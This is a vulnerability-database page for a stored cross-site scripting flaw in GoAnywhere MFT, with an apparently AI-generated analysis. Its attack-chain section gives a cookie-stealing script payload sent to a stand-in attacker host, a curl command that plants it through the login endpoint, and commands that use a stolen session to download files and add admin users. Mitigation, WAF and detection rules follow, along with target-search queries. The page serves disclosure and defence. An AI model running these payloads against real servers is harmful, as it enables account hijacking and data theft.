CVE Professor
/
All CVEs
CVE-2026-18543

CVE-2026-18543 — Fortra GoAnywhere MFT — CWE-79

CRITICAL CVSS 9.3 Shodan

GoAnywhere MFT contains a stored cross-site scripting (XSS) vulnerability in the Recent Web User Logins dashboard gadget. An unauthenticated attacker can supply crafted input that is stored and later rendered to an administrator without proper neutralization, resulting in arbitrary JavaScript execution in the administrator's browser session.

GoAnywhere MFT contains a stored cross-site scripting (XSS) vulnerability in the Recent Web User Logins dashboard gadget. An unauthenticated attacker can supply crafted input that is stored and later rendered to an administrator without proper neutralization, resulting in arbitrary JavaScript execution in the administrator's browser session.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑18543 – Stored Cross‑Site Scripting (XSS) in GoAnywhere MFT “Recent Web User Logins” dashboard gadget

AttributeValue
CWECWE‑79 (Improper Neutralization of Input During Web Page Generation – XSS)
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
ImpactConfidentiality = High, Integrity = High, Availability = None

Technical flaw

1. Component – The “Recent Web User Logins” dashboard gadget is a server‑side widget that stores a log entry for every successful web‑login attempt. The log entry includes the username field that is later rendered verbatim in an HTML table on the administrator’s dashboard page.

2. Missing sanitisation – The value supplied for the username (or any other free‑form field that is persisted) is written to the GoAnywhere MFT database without any HTML‑entity encoding, JavaScript‑escaping, or CSP‑compatible sanitisation.

3. Stored XSS – Because the gadget persists the attacker‑controlled string, any administrator who later visits the dashboard will have the malicious payload injected into the DOM and executed in the context of the GoAnywhere MFT web application (same‑origin).

4. Authentication/Authorization gap – The gadget does not require the user who supplies the username to be authenticated. The login endpoint that records the username is reachable by anyone on the public Internet (e.g., /goanywhere/login). Consequently, an unauthenticated attacker can inject the payload, which is later rendered only for privileged users (administrators).

5. Trigger condition – The XSS is only triggered when an administrator loads the “Recent Web User Logins” dashboard gadget (UI interaction required – UI:R in the vector). The gadget is part of the default admin console, so the trigger is trivial for any privileged user.

In short, the application fails to neutralise user‑supplied data before persisting it and before later embedding it into an HTML page, enabling a classic stored XSS that escalates from an unauthenticated attacker to a privileged administrator.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. Where the exact HTTP endpoint or parameter name is not disclosed in the public CVE text, placeholders are used and clearly marked as illustrative.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify that the target runs GoAnywhere Managed File Transfer (MFT).Shodan/Nmap service fingerprint (HTTP/1.1 200 OK with Server: GoAnywhere header) or passive banner grabbing.
1.2Determine the product version.GET /goanywhere/ → HTML comment <!-- GoAnywhere MFT v6.4.1 --> or /goanywhere/api/version endpoint (if exposed).
1.3Verify that the Dashboard feature is enabled (default for admin accounts).Log in with a low‑privilege credential (or use a public “demo” account if the vendor ships one) and navigate to /goanywhere/dashboard.
1.4Locate the Recent Web User Logins gadget.Inspect the DOM; the gadget is rendered inside a <div id="recentLogins">.
1.5Confirm that the gadget displays the username field without escaping.View source → <td class="username"> contains raw text from the DB.

2. Exploitation

Goal: Store a malicious JavaScript payload that will execute when an admin views the dashboard.

2.1 Craft the malicious payload

<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>

The payload is deliberately minimal to avoid detection by basic string‑based filters.

2.2 Submit the payload via the login endpoint

Illustrative example – exact endpoint not disclosed in the CVE
Assume the login POST endpoint is /goanywhere/api/auth/login and the JSON body contains a username field that is persisted in the login audit log.
curl -sk -X POST "https://target.example.com/goanywhere/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{
        "username":"<script>fetch(\"https://attacker.example.com/steal?c=\"+document.cookie)</script>",
        "password":"irrelevant"
      }'

Notes

  • -k skips TLS verification (use only for testing).
  • The request is unauthenticated – no session cookie is required.
  • The server responds with a generic “Invalid credentials” message, but the username is still logged.
  • 2.3 Verify persistence (optional)

    curl -sk "https://target.example.com/goanywhere/api/public/logs/recent?limit=5"

    If the endpoint exists and returns JSON, you should see the raw <script> string in the username field, confirming that the payload is stored.

    2.4 Trigger – admin views the dashboard

    When an administrator later opens the dashboard (GET /goanywhere/dashboard), the server renders the stored username directly:

    <td class="username"><script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script></td>

    The browser executes the script in the context of https://target.example.com, sending the admin’s session cookie (and any other accessible cookies) to the attacker‑controlled domain.

    3. Post‑Exploitation

    PhaseAttacker capabilityTypical next steps
    Session hijackingWith the admin’s authentication cookie, the attacker can impersonate the admin on the MFT console.curl -b "JSESSIONID=stolen" → full admin UI, create new users, change file‑transfer policies, download sensitive files.
    Privilege escalationIf the admin account is the only privileged role, the attacker already has the highest level of access.No further escalation needed.
    Data exfiltrationUse the stolen session to request files via the MFT API (/goanywhere/api/files/download).curl -b "JSESSIONID=stolen" -O "https://target.example.com/goanywhere/api/files/download?path=/confidential/report.pdf"
    PersistenceCreate a new admin user via the UI or API (/goanywhere/api/users/create).Future access even if the original session expires.
    Lateral movementUse the MFT server as a pivot to reach internal file shares or databases (if configured).Not part of the XSS itself but a common follow‑up.

    🌍 Real‑World Impact

    CVSS MetricValueInterpretation
    Attack Vector (AV)Network (N)Exploitable over the Internet.
    Attack Complexity (AC)Low (L)No special conditions; a single crafted request is enough.
    Privileges Required (PR)None (N)Unauthenticated attacker.
    User Interaction (UI)Required (R)An admin must view the dashboard.
    Scope (S)Changed (C)The impact spreads from the vulnerable component to the entire application (admin session).
    Confidentiality (C)High (H)Session cookies, CSRF tokens, and potentially sensitive data displayed on the admin UI can be stolen.
    Integrity (I)High (H)Attacker can perform actions on behalf of the admin (create users, modify transfer jobs).
    Availability (A)None (N)No denial‑of‑service effect.

    Practical consequences

  • Full compromise of the MFT management console – an attacker can download, modify, or delete any file that the admin is allowed to handle.
  • Credential theft – session cookies may be reusable for the duration of the admin’s session, giving the attacker persistent access.
  • Supply‑chain risk – GoAnywhere MFT is often used as a central file‑exchange hub; compromise can expose corporate secrets, intellectual property, or personal data.
  • Regulatory fallout – If the MFT server processes regulated data (PCI‑DSS, HIPAA, GDPR), the breach could trigger mandatory breach notifications.

  • 🛡️ Remediation & Mitigation

    1. Vendor‑provided fix

    ActionDetails
    UpgradeApply the vendor’s security patch that introduces proper HTML‑entity encoding for all fields rendered in the dashboard gadgets. The patch is released in GoAnywhere MFT 6.5.2 (or later). Verify the exact version number in the vendor advisory.
    Version checkAny version prior to the patched release (e.g., 6.5.1 and earlier) is vulnerable. Use the /goanywhere/api/version endpoint or the “About” page in the UI to confirm the current version.

    If a patched version is not yet available, proceed with the mitigations below.

    2. Immediate work‑arounds

    MitigationImplementation
    Disable the vulnerable gadgetIn the admin console, go to *Dashboard → Manage Gadgets* and remove or hide the “Recent Web User Logins” widget.
    Restrict access to the login audit APIAdd an IP‑based allowlist (e.g., only internal management network) to the /goanywhere/api/auth/login endpoint via the web server or reverse‑proxy ACLs.
    Content‑Security‑Policy (CSP) headerDeploy a strict CSP that disallows inline scripts. Example (Apache):<br>Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';"<br>This will block the injected <script> from executing, though it does not remove the stored payload.
    Input sanitisation via WAFA ModSecurity rule that rejects any <script> tag in the username field of the login request:
    # ModSecurity 2.x / 3.x rule – illustrative
    SecRule REQUEST_URI "@beginsWith /goanywhere/api/auth/login" \
        "id:2026001,phase:2,deny,status:400,log,msg:'Stored XSS attempt in username',\
        chain"
    SecRule ARGS:username "(?i)<\s*script" "t:none"

    Adjust the URI and parameter name to match the actual implementation.

    | Note – The rule must be placed before any generic “allow all” rule to ensure it is evaluated. |

    3. Detection

    IndicatorWhere to look
    Web server access logs – POST to the login endpoint containing <script> or other HTML tags in the username parameter. Example (nginx):<br>POST /goanywhere/api/auth/login 200 123 "-" "Mozilla/5.0" username=%3Cscript%3E
    Application logs – Audit log entries that show a username containing < or > characters.
    Dashboard rendering errors – Admin console console logs (JavaScript console) reporting “Unexpected token <” when loading the Recent Web User Logins gadget.
    Outbound DNS/HTTP from admin browsers – Unexpected connections to attacker‑controlled domains (e.g., attacker.example.com) shortly after an admin accesses the dashboard. Network IDS/Proxy logs can capture these.

    SIEM rule (generic example):

    title: "Possible stored XSS in GoAnywhere MFT login"
    logsource:
      product: webserver
    detection:
      selection:
        request_method: POST
        request_uri|contains: "/goanywhere/api/auth/login"
        request_body|contains: "<script"
      condition: selection
    level: high

    ⚠️ Urgency

  • CVSS 9.3 (Critical) – Network‑reachable, low complexity, no authentication, and requires only a single admin UI view.
  • No CISA KEV listing – The vulnerability is not yet in the U.S. government’s Known Exploited Vulnerabilities catalog, but the technical characteristics make it highly exploitable* in the wild.
  • Exploitability – Public PoC can be crafted with a single curl command; no prior knowledge of internal credentials is needed.
Patch priority: Critical – apply the vendor patch immediately (or implement the full set of mitigations if a patch is unavailable). In environments where the dashboard is exposed to the Internet, the risk escalates dramatically; therefore, the vulnerable gadget should be disabled before any patch is applied.
Bottom line: CVE‑2026‑18543 is a classic stored XSS that bridges an unauthenticated attacker to a privileged GoAnywhere MFT administrator. The vulnerability is trivial to exploit, gives full control over the MFT management console, and can lead to massive data loss or exfiltration. Immediate patching or, at minimum, disabling the gadget and enforcing strict input sanitisation is mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Fortra GoAnywhere MFT"
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Fortra:GoAnywhere MFT
References & Advisories (1)
Related CVEs
6.8
CVE-2026-144587
Graphify 0.9.70 through 0.9.126 contains a file disclosure vulnerability that allows attackers to read local h
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
8.8
CVE-2026-145062
SiYuan 3.8.10 before 3.8.11 fails to escape custom block attribute names from imported .sy.zip files in openFi
8.3
CVE-2026-145038
SiYuan 3.8.8-alpha.4 before 3.8.11 contains a stored cross-site scripting vulnerability because the unused ass
7.5
CVE-2026-145078
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability because the transactions WebSocket p